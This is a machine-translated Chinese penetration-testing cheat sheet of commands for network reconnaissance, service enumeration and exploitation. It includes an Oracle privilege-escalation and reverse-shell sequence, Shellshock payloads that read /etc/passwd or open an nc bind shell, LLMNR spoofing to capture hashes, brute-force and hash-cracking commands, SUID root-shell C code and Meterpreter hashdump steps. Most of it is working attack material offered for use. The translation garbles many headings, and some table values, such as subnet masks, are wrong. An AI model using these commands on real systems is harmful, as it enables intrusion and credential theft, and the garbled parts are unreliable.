介绍
渗透测试工具作弊表,典型穿透测试工作的快速参考高级概述。设计为快速参考作弊表,提供执行渗透测试时将运行的典型命令的高级概述。对于更深入的信息,我会从右侧的菜单中推荐该工具的man文件或更具体的笔测试作弊表。
该作弊表的重点是基础架构/网络渗透测试,除了最后的几个sqlmap命令和一些Web服务器枚举之外,Web应用程序渗透测试不在此处。
更新日志
17/02/2017 - 文章更新,加载更多内容,VPN,DNS隧道,VLAN跳跃等 - 查看下面的TOC。
-
介绍
-
预啮合
-
OSINT
-
DNS
-
WHOIS枚举
-
执行DNS IP查找
-
执行MX记录查找
-
用DIG执行区域传输
-
被动信息收集
-
DNS区域转移
-
DNS暴力
-
端口扫描
-
DNSRecon
-
Nmap UDP扫描
-
UDP协议扫描器
-
其他主机发现
-
Nmap命令
-
基本手指印刷
-
横幅抓NC
-
简单电子邮件
-
电子邮件
-
半主动信息收集
-
活动信息收集
-
枚举和攻击网络服务
-
TLS和SSL测试
-
漏洞评估
-
数据库渗透测试
-
Bruteforce MSSQL登录
-
Metasploit MSSQL Shell
-
指纹Oracle TNS版本
-
强力oracle用户帐号
-
Oracle特权升级
-
使用NMAP NSE脚本识别oracle数据库中的默认帐户:
-
如何识别oracle用户的当前权限级别:
-
Oracle priv esc并获取DBA访问权限:
-
使用select查询运行漏洞:
-
删除漏洞利用:
-
获取Oracle Reverse os-shell:
-
神谕
-
MSSQL
-
网络
-
攻击机
-
IKEForce
-
IKE侵略模式PSK破解
-
PPTP黑客
-
步骤1:Idenitfy IKE服务器
-
步骤2:使用IKEForce枚举组名
-
步骤3:使用ike-scan来捕获PSK散列
-
步骤4:使用psk-crack来破解PSK哈希
-
NMAP PPTP指纹:
-
PPTP字典攻击
-
有级IP范围
-
IPv4私有地址范围
-
IPv4子网作弊表
-
SSH枢轴
-
Meterpreter枢轴
-
Plink.exe隧道
-
旋转
-
TTL手指打印
-
IPv4作弊表
-
VLAN跳跃
-
VPN黑客
-
DNS隧道
-
BOF / Exploit
-
利用研究
-
利用贝壳
-
猫文件(查看文件内容)
-
Shell Shock运行绑定shell
-
壳牌反击壳
-
搜索漏洞利用
-
在Kali编译Windows漏洞
-
交叉编译漏洞
-
利用常见的漏洞
-
简单的本地Web服务器
-
挂载文件共享
-
HTTP / HTTPS Web服务器枚举
-
包检测
-
用户名称枚举
-
密码
-
强制服务
-
Hydra FTP暴力
-
九头蛇POP3暴力
-
Hydra SMTP暴力
-
密码破解
-
Windows渗透测试命令
-
Linux渗透测试命令
-
编译漏洞
-
识别C代码是否适用于Windows或Linux
-
构建利用GCC
-
GCC编译32位攻击64位Kali
-
在Linux上编译Windows .exe
-
SUID二进制
-
反向壳牌
-
TTY Shells
-
Python TTY Shell Trick
-
Spawn交互式sh shell
-
Spawn Perl TTY Shell
-
Spawn Ruby TTY Shell
-
Spawn Lua TTY壳牌
-
来自Vi的Spawn TTY Shell
-
Spawn TTY Shell NMAP
-
Metasploit的
-
Meterpreter作弊表
-
常见的Metasploit模块
-
ASCII表作弊表
-
CISCO IOS命令
-
加密
-
SQLMap示例
预啮合
网络配置
设置IP地址
- ifconfig eth0 xxx.xxx.xxx.xxx/24
复制代码
子网划分
- ipcalc xxx.xxx.xxx.xxx/24 ipcalc xxx.xxx.xxx.xxx 255.255.255.0
复制代码
OSINT
被动信息收集
DNS
WHOIS枚举
- whois domain-name-here.com
复制代码
执行DNS IP查找
- dig a domain-name-here.com @nameserver
复制代码
执行MX记录查找
- dig mx domain-name-here.com @nameserver
复制代码
用DIG执行区域传输
- dig axfr domain-name-here.com @nameserver
复制代码
DNS区域转移
|
命令 |
描述 |
|---|
|
nslookup -> set type=any -> ls -d blah.com
|
Windows DNS区域传输
|
|
dig axfr blah.com @ns1.blah.com
|
Linux DNS区域传输
|
电子邮件
简单电子邮件
使用简单的电子邮件枚举所有在线的地方(github,目标网站等),如果您使用代理或设置较长的节流时间,Google将不会认为您是机器人,并填写验证码,那么它的效果会更好。
- git clone https://github.com/killswitch-GUI/SimplyEmail.git./SimplyEmail.py -all -e TARGET-DOMAIN
复制代码
简单电子邮件可以在收集后验证发现的电子邮件地址。
半主动信息收集
基本手指印刷
手动手指/横幅抓取。
|
命令 |
描述 |
|---|
|
nc -v 192.168.1.1 25
telnet 192.168.1.1 25
|
通过显示横幅进行基本版本/手指打印
|
横幅抓NC
- nc TARGET-IP 80GET / HTTP/1.1Host: TARGET-IPUser-Agent: Mozilla/5.0Referrer: meh-domain<enter>
复制代码
活动信息收集
DNS暴力
DNSRecon
DNS枚举Kali - DNSRecon
root:〜# dnsrecon
-d TARGET -D /usr/share/wordlists/dnsmap.txt -t std --xml ouput.xml
端口扫描
Nmap命令
有关更多命令,请参阅Nmap作弊表(右侧菜单中的链接)。
基本Nmap命令:
|
命令 |
描述 |
|---|
|
nmap -v -sS -A -T4 target
|
Nmap详细扫描,运行syn隐身,T4定时(在LAN上应该可以),OS和服务版本信息,traceroute和脚本对服务
|
|
nmap -v -sS -p--A -T4 target
|
如上所述,扫描所有TCP端口(需要更长的时间)
|
|
nmap -v -sU -sS -p- -A -T4 target
|
如上所述,扫描所有TCP端口和UDP扫描(需要更长时间)
|
|
nmap -v -p 445 --script=smb-check-vulns
--script-args=unsafe=1 192.168.1.X
|
用于扫描易受攻击的SMB服务器的Nmap脚本 - 警告:不安全= 1可能会导致死机
|
|
ls /usr/share/nmap/scripts/* | grep ftp
|
搜索关键字的nmap脚本
|
Nmap UDP扫描
UDP协议扫描器
- git clone https://github.com/portcullislabs/udp-proto-scanner.git
复制代码
扫描所有服务的IP地址文件:
- ./udp-protocol-scanner.pl -f ip.txt
复制代码
扫描特定的UDP服务:
- udp-proto-scanner.pl -p ntp -f ips.txt
复制代码
其他主机发现
主机发现的其他方法,不使用nmap ...
|
命令 |
描述 |
|---|
|
netdiscover -r 192.168.1.0/24
|
从ARP发现子网上的IP,MAC地址和MAC供应商,有助于确认您在$客户端站点处于正确的VLAN
|
枚举和攻击网络服务
将专门识别和/或枚举网络服务的工具:
SAMB / SMB / Windows域枚举
桑巴枚举
SMB枚举工具
- nmblookup -A targetsmbclient //MOUNT/share -I target -Nrpcclient -U "" targetenum4linux target
复制代码
另请参阅,nbtscan作弊表(右手菜单)。
|
命令 |
描述 |
|---|
|
nbtscan 192.168.1.0/24
|
在子网上查找Windows / Samba服务器,查找Windows MAC地址,netbios名称并发现客户端工作组/域
|
|
enum4linux -a target-ip
|
做一切,运行所有选项(查找Windows客户端域/工作组)除了基于字典的共享名称猜测
|
指纹SMB版本
- smbclient -L //192.168.1.100
复制代码
查找打开的SMB共享
- nmap -T4 -v -oA shares --script smb-enum-shares --script-args smbuser=username,smbpass=password -p445 192.168.1.0/24
复制代码
枚举SMB用户
- nmap -sU -sS --script=smb-enum-users -p U:137,T:139 192.168.11.200-254
复制代码- python /usr/share/doc/python-impacket-doc/examples/samrdump.py 192.168.XXX.XXX
复制代码
RID骑自行车:
- ridenum.py 192.168.XXX.XXX 500 50000 dict.txt
复制代码
用于RID循环的Metasploit模块:
- use auxiliary/scanner/smb/smb_lookupsid
复制代码
手动空会话测试:
视窗:
- net use \\TARGET\IPC$ "" /u:""
复制代码
Linux的:
- smbclient -L //192.168.99.131
复制代码
NBTS可以unixwiz
安装在卡利滚动:
- apt-get install nbtscan-unixwiz nbtscan-unixwiz -f 192.168.0.1-254 > nbtscan
复制代码
LLMNR / NBT-NS欺骗
从网络窃取凭据。
Metasploit LLMNR / NetBIOS请求
欺骗/毒药LLMNR / NetBIOS请求:
- auxiliary/spoof/llmnr/llmnr_responseauxiliary/spoof/nbns/nbns_response
复制代码
捕获散列:
- auxiliary/server/capture/smbauxiliary/server/capture/http_ntlm
复制代码
你最终会遇到NTLMv2哈希,使用john或者hashcat来破解它。
Responder.py
或者,您可以使用响应者。
- git clone https://github.com/SpiderLabs/Responder.gitpython Responder.py -i local-ip -I eth0
复制代码
运行Responder.py进行整个交互
在处理其他攻击向量时,请运行Responder.py来达成一致。
SNMP枚举
修复SNMP输出值,使其可读取:
- apt-get install snmp-mibs-downloader download-mibsecho "" > /etc/snmp/snmp.conf
复制代码
|
命令 |
描述 |
|---|
|
snmpcheck -t 192.168.1.X -c public
snmpwalk -c public -v1 192.168.1.X 1|
grep hrSWRunName|cut -d* * -f
snmpenum -t 192.168.1.X
onesixtyone -c names -i hosts
|
SNMP枚举 |
SNMPv3枚举
带有nmap的Idenitfy SNMPv3服务器:
- nmap -sV -p 161 --script=snmp-info TARGET-SUBNET
复制代码
Rory McCune的snmpwalk包装脚本有助于自动化SNMPv3的用户名列表过程:
- apt-get install snmp snmp-mibs-downloaderwget https://raw.githubusercontent.com/raesene/TestingScripts/master/snmpv3enum.rb
复制代码
使用Metasploits Wordlist
Metasploit的wordlist(以下的KALI路径)具有SNMP v1 v1和v2的共同凭据,对于较新的凭据,请查看Daniel Miessler在GitHub上的SecLists项目(不是邮件列表!)。
- /usr/share/metasploit-framework/data/wordlists/snmp_default_pass.txt
复制代码
R服务枚举
这是遗产,包括为完整性。
nmap -A将执行下面列出的所有rservices枚举,此部分是为了完整性或手动确认而添加的:
RSH枚举
RSH运行命令
Metasploit RSH登录扫描仪
- auxiliary/scanner/rservices/rsh_login
复制代码
rusers显示登录用户
rusers扫描整个子网
- rlogin -l <user> <target>
复制代码
例如rlogin -l root TARGET-SUBNET / 24
手指枚举
指定特定用户名
显示所有登录用户的Solaris错误:
- finger 0@host SunOS: RPC services allow user enum:$ rusers # users logged onto LANfinger 'a b c d e f g h'@sunhost
复制代码
rwho中
使用nmap来识别运行rwhod(513 UDP)的机器
TLS和SSL测试
testssl.sh
测试单个主机上的所有内容并输出到.html文件:
- ./testssl.sh -e -E -f -p -y -Y -S -P -c -H -U TARGET-HOST | aha > OUTPUT-FILE.html
复制代码
漏洞评估
在Kali上安装OpenVAS 8滚动:
- apt-get updateapt-get dist-upgrade -yapt-get install openvasopenvas-setup
复制代码
验证openvas正在运行:
登录https://127.0.0.1:9392 - 凭据在openvas-setup期间生成。
数据库渗透测试
攻击在网络上暴露的数据库服务器。
神谕
安装示波器:
运行示波器:
- oscanner -s 192.168.1.200 -P 1521
复制代码
指纹Oracle TNS版本
安装tnscmd10g:
- apt-get install tnscmd10g
复制代码
指纹oracle tns:
- tnscmd10g version -h TARGETnmap --script=oracle-tns-version
复制代码
强力oracle用户帐号
识别默认Oracle帐户:
- nmap --script=oracle-sid-brute
- nmap --script=oracle-brute
复制代码
对Oracle TNS运行nmap脚本:
Oracle特权升级
要求:
-
Oracle需要在网络上公开
-
默认帐户正在使用,如scott
快速概述如何运作:
-
创建功能
-
在表SYS.DUAL上创建一个索引
-
我们刚刚创建的索引执行我们的函数SCOTT.DBA_X
-
该功能将由SYS用户执行(因为该用户拥有该表)。
-
创建一个帐户与DBA priveleges
在下面的示例中,用户SCOTT被使用,但是应该可以使用另一个默认的Oracle帐户。
使用NMAP NSE脚本识别oracle数据库中的默认帐户:
- nmap --script=oracle-sid-brute nmap --script=oracle-brute
复制代码
使用识别的弱帐户登录(假设您找到一个)。
如何识别oracle用户的当前权限级别:
- SQL> select * from session_privs; SQL> CREATE OR REPLACE FUNCTION GETDBA(FOO varchar) return varchar deterministic authid curren_user is pragma autonomous_transaction; begin execute immediate 'grant dba to user1 identified by pass1';commit;return 'FOO';end;
复制代码
Oracle priv esc并获取DBA访问权限:
运行netcat:netcat -nvlp 443code>
- SQL> create index exploit_1337 on SYS.DUAL(SCOTT.GETDBA('BAR'));
复制代码
使用select查询运行漏洞:
- SQL> Select * from session_privs;
复制代码
您应该有一个具有creds user1和pass1的DBA用户。
通过重新运行第一个命令,验证您是否具有DBA权限。
删除漏洞利用:
获取Oracle Reverse os-shell:
- begindbms_scheduler.create_job( job_name => 'MEH1337',job_type =>
- 'EXECUTABLE',job_action => '/bin/nc',number_of_arguments => 4,start_date =>
- SYSTIMESTAMP,enabled => FALSE,auto_drop => TRUE); dbms_scheduler.set_job_argument_value('rev_shell', 1, 'TARGET-IP');dbms_scheduler.set_job_argument_value('rev_shell', 2, '443');dbms_scheduler.set_job_argument_value('rev_shell', 3, '-e');dbms_scheduler.set_job_argument_value('rev_shell', 4, '/bin/bash');dbms_scheduler.enable('rev_shell'); end;
复制代码
MSSQL
枚举/发现:
NMAP:
- nmap -sU --script=ms-sql-info 192.168.1.108 192.168.1.156
复制代码
Metasploit的:
- msf > use auxiliary/scanner/mssql/mssql_ping
复制代码
使用MS SQL Server浏览更多
尝试使用“浏览更多”通过MS SQL Server Management Studio
Bruteforce MSSQL登录
- msf > use auxiliary/admin/mssql/mssql_enum
复制代码
Metasploit MSSQL Shell
- msf > use exploit/windows/mssql/mssql_payloadmsf exploit(mssql_payload) > set PAYLOAD windows/meterpreter/reverse_tcp
复制代码
网络
Plink.exe隧道
PuTTY Link隧道
将远程端口转发到本地地址:
- plink.exe -P 22 -l root -pw "1337" -R 445:127.0.0.1:445 REMOTE-IP
复制代码
旋转
SSH枢轴
- ssh -D 127.0.0.1:1010 -p 22 user@pivot-target-ip
复制代码
在/etc/proxychains.conf中添加socks4 127.0.0.1 1010
SSH从一个网络转向另一个网络:
- ssh -D 127.0.0.1:1010 -p 22 user1@ip-address-1
复制代码
在/etc/proxychains.conf中添加socks4 127.0.0.1 1010
- proxychains ssh -D 127.0.0.1:1011 -p 22 user1@ip-address-2
复制代码
在/etc/proxychains.conf中添加socks4 127.0.0.1 1011
Meterpreter枢轴
TTL手指打印
|
操作系统 |
TTL大小 |
|---|
|
视窗
|
128
|
|
Linux的
|
64
|
|
的Solaris
|
255
|
|
思科/网络
|
255
|
IPv4作弊表
有级IP范围
例如A,B,C(折旧)
|
类 |
IP地址范围 |
|---|
|
A类IP地址范围
|
0.0.0.0 - 127.255.255.255
|
|
B类IP地址范围
|
128.0.0.0 - 191.255.255.255
|
|
C类IP地址范围
|
192.0.0.0 - 223.255.255.255
|
|
D类IP地址范围
|
224.0.0.0 - 239.255.255.255
|
|
E类IP地址范围
|
240.0.0.0 - 255.255.255.255
|
IPv4私有地址范围
|
类 |
范围 |
|---|
|
A类私人地址范围
|
10.0.0.0 - 10.255.255.255
|
|
B类私人地址范围
|
172.16.0.0 - 172.31.255.255
|
|
C类私人地址范围
|
192.168.0.0 - 192.168.255.255
|
|
127.0.0.0 - 127.255.255.255
|
IPv4子网作弊表
|
CIDR |
小数面膜 |
主机数量 |
|---|
|
/ 31
|
255.255.255.254
|
1 Host
|
|
/ 30
|
255.255.255.252
|
2 Hosts
|
|
/ 29
|
255.255.255.249
|
6 Hosts
|
|
/ 28
|
255.255.255.240
|
14 Hosts
|
|
/ 27
|
255.255.255.224
|
30 Hosts
|
|
/ 26
|
255.255.255.192
|
62 Hosts
|
|
/ 25
|
255.255.255.128
|
126 Hosts
|
|
/ 24
|
255.255.255.0
|
254 Hosts
|
|
/ 23
|
255.255.254.0
|
512 Host
|
|
/ 22
|
255.255.252.0
|
1022 Hosts
|
|
/ 21
|
255.255.248.0
|
2046 Hosts
|
|
/ 20
|
255.255.240.0
|
4094 Hosts
|
|
/ 19
|
255.255.224.0
|
8190 Hosts
|
|
/ 18
|
255.255.192.0
|
16382 Hosts
|
|
/ 17
|
255.255.128.0
|
32766 Hosts
|
|
/ 16
|
255.255.0.0
|
65534 Hosts
|
|
/ 15
|
255.254.0.0
|
131070 Hosts
|
|
/ 14
|
255.252.0.0
|
262142 Hosts
|
|
/ 13
|
255.248.0.0
|
524286 Hosts
|
|
/ 12
|
255.240.0.0
|
1048674 Hosts
|
|
/ 11
|
255.224.0.0
|
2097150 Hosts
|
|
/ 10
|
255.192.0.0
|
4194302 Hosts
|
|
/ 9
|
255.128.0.0
|
8388606 Hosts
|
|
/ 8
|
255.0.0.0
|
16777214 Hosts
|
VLAN跳跃
使用NCCGroups Yersina的VLAN封装脚本简化了过程。
- git clone https://github.com/nccgroup/vlan-hopping.gitchmod 700 frogger.sh./frogger.sh
复制代码
VPN黑客
识别VPN服务器:
- ./udp-protocol-scanner.pl -p ike TARGET(s)
复制代码
扫描VPN服务器的范围:
- ./udp-protocol-scanner.pl -p ike -f ip.txt
复制代码
IKEForce
使用IKEForce枚举或字典攻击VPN服务器。
安装:
- pip install pyipgit clone https://github.com/SpiderLabs/ikeforce.git
复制代码
使用IKEForce执行IKE VPN枚举:
- ./ikeforce.py TARGET-IP –e –w wordlists/groupnames.dic
复制代码
使用IKEForce的Bruteforce IKE VPN:
- ./ikeforce.py TARGET-IP -b -i groupid -u dan -k psk123 -w passwords.txt -s 1
复制代码- ike-scanike-scan TARGET-IPike-scan -A TARGET-IPike-scan -A TARGET-IP --id=myid -P TARGET-IP-key
复制代码
IKE侵略模式PSK破解
-
识别VPN服务器
-
枚举使用IKEForce获取组ID
-
使用ike-scan从IKE端点捕获PSK散列
-
使用psk-crack来破解哈希
步骤1:Idenitfy IKE服务器
- ./udp-protocol-scanner.pl -p ike SUBNET/24
复制代码
步骤2:使用IKEForce枚举组名
- ./ikeforce.py TARGET-IP –e –w wordlists/groupnames.dic
复制代码
步骤3:使用ike-scan来捕获PSK散列
- ike-scan –M –A –n example_group -P hash-file.txt TARGET-IP
复制代码
步骤4:使用psk-crack来破解PSK哈希
一些更高级的psk-crack选项如下:
- pskcrackpsk-crack -b 5 TARGET-IPkeypsk-crack -b 5 --charset="01233456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz" 192-168-207-134keypsk-crack -d /path/to/dictionary-file TARGET-IP-key
复制代码
PPTP黑客
识别PPTP,它监听TCP:1723
NMAP PPTP指纹:
- nmap –Pn -sV -p 1723 TARGET(S)
复制代码
PPTP字典攻击
- thc-pptp-bruter -u hansolo -W -w /usr/share/wordlists/nmap.lst
复制代码
DNS隧道
通过DNS隧道传输数据以绕过防火墙。
dnscat2支持“下载”和“上传”用于从目标机器获取文件(数据和程序)的命令。
攻击机
制作安装:
- apt-get updateapt-get -y install ruby-dev git make g++gem install bundlergit clone https://github.com/iagox86/dnscat2.gitcd dnscat2/serverbundle install
复制代码
运行dnscat2:
- ruby ./dnscat2.rbdnscat2> New session established: 1422dnscat2> session -i 1422
复制代码
目标机:
https://downloads.skullsecurity.org/dnscat2/ https://github.com/lukebaggett/dnscat2-powershell/
- dnscat --host <dnscat server_ip>
复制代码
BOF / Exploit
利用研究
查找枚举主机/服务的漏洞。
|
命令 |
描述 |
|---|
|
searchsploit windows 2003 | grep -i local
|
搜索exploit-db for exploit,在这个例子中为windows 2003 + local esc
|
|
site:exploit-db.com exploit kernel <= 3
|
使用谷歌搜索exploit-db.com的漏洞
|
|
grep -R "W7" /usr/share/metasploit-framework
/modules/exploit/windows/*
|
搜索metasploit模块使用grep - msf搜索有一点
|
搜索漏洞利用
安装exploit-db的本地副本:
- searchsploit –u
- searchsploit apache 2.2
- searchsploit "Linux Kernel"
- searchsploit linux 2.6 | grep -i ubuntu | grep local
复制代码
在Kali编译Windows漏洞
- wget -O mingw-get-setup.exe http://sourceforge.net/projects/mingw/files/Installer/mingw-get-setup.exe/download
- wine mingw-get-setup.exe
- select mingw32-base
- cd /root/.wine/drive_c/windows
- wget http://gojhonny.com/misc/mingw_bin.zip && unzip mingw_bin.zip
- cd /root/.wine/drive_c/MinGW/bin
- wine gcc -o ability.exe /tmp/exploit.c -lwsock32
- wine ability.exe
复制代码
交叉编译漏洞
- gcc -m32 -o output32 hello.c (32 bit)gcc -m64 -o output hello.c (64 bit)
复制代码
利用常见的漏洞
利用贝壳
用于查找和利用易受Shellshock攻击的服务器的工具:
- git clone https://github.com/nccgroup/shocker
复制代码- ./shocker.py -H TARGET --command "/bin/cat /etc/passwd" -c /cgi-bin/status --verbose
复制代码
猫文件(查看文件内容)
- echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; echo \$(</etc/passwd)\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc TARGET 80
复制代码
Shell Shock运行绑定shell
- echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/nc -l -p 9999 -e /bin/sh\r\nHost: vulnerable\r\nConnection: close\r\n\r\n" | nc TARGET 80
复制代码
壳牌反击壳
简单的本地Web服务器
Python本地Web服务器命令,方便在攻击机器上提供shell和exploit。
|
命令 |
描述 |
|---|
|
python -m SimpleHTTPServer 80
|
运行基本的http服务器,非常适合提供shell等
|
|
python3 -m http.server
|
运行基本的Python3 http服务器,非常适合提供shell等
|
|
ruby -rwebrick -e "WEBrick::HTTPServer.new
(:Port => 80, :DocumentRoot => Dir.pwd).start"
|
运行ruby webrick基本的http服务器
|
|
php -S 0.0.0.0:80
|
运行基本的PHP http服务器
|
挂载文件共享
如何挂载NFS / CIFS,Windows和Linux文件共享。
|
命令 |
描述 |
|---|
|
mount 192.168.1.1:/vol/share /mnt/nfs
|
挂载NFS共享到 /mnt/nfs
|
|
mount -t cifs -o username=user,password=pass
,domain=blah //192.168.1.X/share-name /mnt/cifs
|
在Linux上安装Windows CIFS / SMB共享,/mnt/cifs如果您删除密码,它将在CLI上提示(更安全,因为它不会在bash_history中结束)
|
|
net use Z: \\win-server\share password
/user:domain\janedoe /savecred /p:no
|
从命令行在Windows上安装Windows共享
|
|
apt-get install smb4k -y
|
在Kali上安装smb4k,用于浏览SMB共享的有用的Linux GUI
|
HTTP / HTTPS Web服务器枚举
|
命令 |
描述 |
|---|
|
nikto -h 192.168.1.1
|
对目标执行nikto扫描
|
|
dirbuster
|
通过GUI进行配置,CLI输入大部分时间不起作用
|
包检测
|
命令 |
描述 |
|---|
|
tcpdump tcp port 80 -w output.pcap -i eth0
|
接口eth0上端口80的tcpdump输出到output.pcap
|
用户名称枚举
一些技术用于远程枚举目标系统上的用户。
SMB用户枚举
|
命令 |
描述 |
|---|
|
python /usr/share/doc/python-impacket-doc/examples
/samrdump.py 192.168.XXX.XXX
|
枚举来自SMB的用户
|
|
ridenum.py 192.168.XXX.XXX 500 50000 dict.txt
|
RID循环SMB /枚举来自SMB的用户
|
SNMP用户枚举
|
命令 |
描述 |
|---|
|
snmpwalk public -v1 192.168.X.XXX 1 |grep 77.1.2.25
|cut -d” “ -f4
|
从SNMP中吸引用户
|
|
python /usr/share/doc/python-impacket-doc/examples/
samrdump.py SNMP 192.168.X.XXX
|
从SNMP中吸引用户
|
|
nmap -sT -p 161 192.168.X.XXX/254 -oG snmp_results.txt
(then grep)
|
搜索具有nmap,grepable输出的SNMP服务器
|
密码
生词
|
命令 |
描述 |
|---|
|
/usr/share/wordlists
|
卡利词列表
|
强制服务
Hydra FTP暴力
|
命令 |
描述 |
|---|
|
hydra -l USERNAME -P /usr/share/wordlistsnmap.lst -f
192.168.X.XXX ftp -V
|
Hydra FTP暴力
|
九头蛇POP3暴力
|
命令 |
描述 |
|---|
|
hydra -l USERNAME -P /usr/share/wordlistsnmap.lst -f
192.168.X.XXX pop3 -V
|
九头蛇POP3暴力
|
Hydra SMTP暴力
|
命令 |
描述 |
|---|
|
hydra -P /usr/share/wordlistsnmap.lst 192.168.X.XXX smtp -V
|
九头蛇SMTP暴力
|
使用-t限制并发连接,例如:-t
15
密码破解
约翰开膛手 - JTR
|
命令 |
描述 |
|---|
|
john --wordlist=/usr/share/wordlists/rockyou.txt hashes
|
JTR密码破解
|
|
john --format=descrypt --wordlist
/usr/share/wordlists/rockyou.txt hash.txt
|
JTR强制用wordlist进行破解
|
|
john --format=descrypt hash --show
|
JTR强制描述强力开裂
|
Windows渗透测试命令
请参阅Windows渗透测试命令。
Linux渗透测试命令
有关Linux渗透测试命令的列表,请参阅Linux命令作弊表(右键菜单),对本地系统枚举有用。
编译漏洞
关于编译漏洞的一些注释。
识别C代码是否适用于Windows或Linux
C #include将指出应该使用哪个操作系统来构建漏洞。
|
命令 |
描述 |
|---|
|
process.h, string.h, winbase.h, windows.h, winsock2.h
|
Windows漏洞利用代码
|
|
arpa/inet.h, fcntl.h, netdb.h, netinet/in.h,
sys/sockt.h, sys/types.h, unistd.h
|
Linux漏洞代码
|
构建利用GCC
编译漏洞gcc
|
命令 |
描述 |
|---|
|
gcc -o exploit exploit.c
|
基本GCC编译
|
GCC编译32位攻击64位Kali
用于在64位攻击机上交叉编译32位二进制文件。
|
命令 |
描述 |
|---|
|
gcc -m32 exploit.c -o exploit
|
在64位Linux上交叉编译32位二进制文件
|
在Linux上编译Windows .exe
在Linux上构建/编译Windows漏洞,导致一个.exe文件。
|
命令 |
描述 |
|---|
|
i586-mingw32msvc-gcc exploit.c -lws2_32 -o exploit.exe
|
在Linux上编译windows .exe
|
SUID二进制
通常,SUID C二进制文件需要以超级用户身份生成shell,您可以根据需要更新UID / GID和shell。
以下是各种贝壳的一些快速复制和例子:
SUID C Shell / bin / bash
- int main(void){
- setresuid(0, 0, 0);
- system("/bin/bash");}
复制代码
SUID C Shell / bin / sh
- int main(void){
- setresuid(0, 0, 0);
- system("/bin/sh");}
复制代码
构建SUID Shell二进制文件
对于32位:
反向壳牌
有关有用的反向Shell的列表,请参阅反向Shell作弊表。
TTY Shells
从Linux中的有限外壳生成TTY shell的技巧/技巧,对于运行像su反向shell 这样的命令非常有用。
Python TTY Shell Trick
- python -c 'import pty;pty.spawn("/bin/bash")'
复制代码- echo os.system('/bin/bash')
复制代码
Spawn交互式sh shell
Spawn Perl TTY Shell
- exec "/bin/sh";perl —e 'exec "/bin/sh";'
复制代码
Spawn Ruby TTY Shell
Spawn Lua TTY壳牌
来自Vi的Spawn TTY Shell
从vi运行shell命令:
Spawn TTY Shell NMAP
Metasploit的
一些基本的Metasploit的东西,我已经找到方便的参考。
基本Metasploit命令,有助于参考,用于旋转参见 - Meterpreter枢转技术。
Meterpreter有效载荷
Windows反向计量器有效载荷
|
命令 |
描述 |
|---|
|
set payload windows/meterpreter/reverse_tcp
|
Windows反向tcp有效载荷
|
Windows VNC Meterpreter有效载荷
|
命令 |
描述 |
|---|
|
set payload windows/vncinject/reverse_tcp
set ViewOnly false
|
Meterpreter Windows VNC有效载荷
|
Linux反向Meterpreter有效载荷
|
命令 |
描述 |
|---|
|
set payload linux/meterpreter/reverse_tcp
|
Meterpreter Linux反向有效负载
|
Meterpreter作弊表
有用的抄表命令。
|
命令 |
描述 |
|---|
|
upload file c:\\windows
|
Meterpreter将文件上传到Windows目标
|
|
download c:\\windows\\repair\\sam /tmp
|
Meterpreter从Windows目标下载文件
|
|
download c:\\windows\\repair\\sam /tmp
|
Meterpreter从Windows目标下载文件
|
|
execute -f c:\\windows\temp\exploit.exe
|
Meterpreter在目标上运行.exe,方便执行上传的漏洞利用
|
|
execute -f cmd -c
|
用cmd shell创建新通道
|
|
ps
|
仪表显示过程
|
|
shell
|
Meterpreter在目标上获取shell
|
|
getsystem
|
Meterpreter尝试特权升级目标
|
|
hashdump
|
Meterpreter尝试将哈希值转储到目标上
|
|
portfwd add –l 3389 –p 3389 –r target
|
Meterpreter将端口创建到目标机器
|
|
portfwd delete –l 3389 –p 3389 –r target
|
Meterpreter向前删除端口
|
常见的Metasploit模块
顶层metasploit模块。
远程Windows Metasploit模块(exploits)
|
命令 |
描述 |
|---|
|
use exploit/windows/smb/ms08_067_netapi
|
MS08_067 Windows 2k,XP,2003 Remote Exploit
|
|
use exploit/windows/dcerpc/ms06_040_netapi
|
MS08_040 Windows NT,2k,XP,2003 Remote Exploit
|
|
use exploit/windows/smb/
ms09_050_smb2_negotiate_func_index
|
MS09_050 Windows Vista SP1 / SP2和Server 2008(x86)远程漏洞利用
|
本地Windows Metasploit模块(exploits)
|
命令 |
描述 |
|---|
|
use exploit/windows/local/bypassuac
|
在Windows 7上绕过UAC +设置目标+ arch,x86 / 64
|
辅助Metasploit模块
|
命令 |
描述 |
|---|
|
use auxiliary/scanner/http/dir_scanner
|
Metasploit HTTP目录扫描器
|
|
use auxiliary/scanner/http/jboss_vulnscan
|
Metasploit JBOSS漏洞扫描器
|
|
use auxiliary/scanner/mssql/mssql_login
|
Metasploit MSSQL凭证扫描仪
|
|
use auxiliary/scanner/mysql/mysql_version
|
Metasploit MSSQL版本扫描仪
|
|
use auxiliary/scanner/oracle/oracle_login
|
Metasploit Oracle登录模块
|
Metasploit Powershell模块
|
命令 |
描述 |
|---|
|
use exploit/multi/script/web_delivery
|
Metasploit powershell有效载荷传递模块
|
|
post/windows/manage/powershell/exec_powershell
|
Metasploit上传并通过会话运行powershell脚本
|
|
use exploit/multi/http/jboss_maindeployer
|
Metasploit JBOSS部署
|
|
use exploit/windows/mssql/mssql_payload
|
Metasploit MSSQL有效载荷
|
后利用Windows Metasploit模块
Windows Metasploit模块用于特权升级。
|
命令 |
描述 |
|---|
|
run post/windows/gather/win_privs
|
Metasploit显示当前用户的特权
|
|
use post/windows/gather/credentials/gpp
|
Metasploit抓GPP保存密码
|
|
load mimikatz -> wdigest
|
Metasplit负载Mimikatz
|
|
run post/windows/gather/local_admin_search_enum
|
Idenitfy提供的域用户具有管理访问权限的其他计算机
|
|
run post/windows/gather/smart_hashdump
|
自动转储sam文件,尝试esc权限等
|
ASCII表作弊表
有用的Web应用程序渗透测试,或者如果您在火星上搁浅,需要与NASA进行通信。
|
ASCII |
字符 |
|---|
|
x00
|
空字节
|
|
x08
|
BS
|
|
x09
|
标签
|
|
x0a
|
LF
|
|
x0d
|
CR
|
|
x1b
|
退出
|
|
x20
|
SPC
|
|
x21
|
!
|
|
x22
|
“
|
|
x23
|
#
|
|
x24
|
$
|
|
x25
|
%
|
|
x26
|
&
|
|
x27
|
`
|
|
x28
|
(
|
|
x29
|
)
|
|
x2a
|
*
|
|
x2b
|
+
|
|
x2c
|
,
|
|
x2d
|
-
|
|
x2e
|
。
|
|
x2f
|
/
|
|
x30
|
0
|
|
x31
|
1
|
|
x32
|
2
|
|
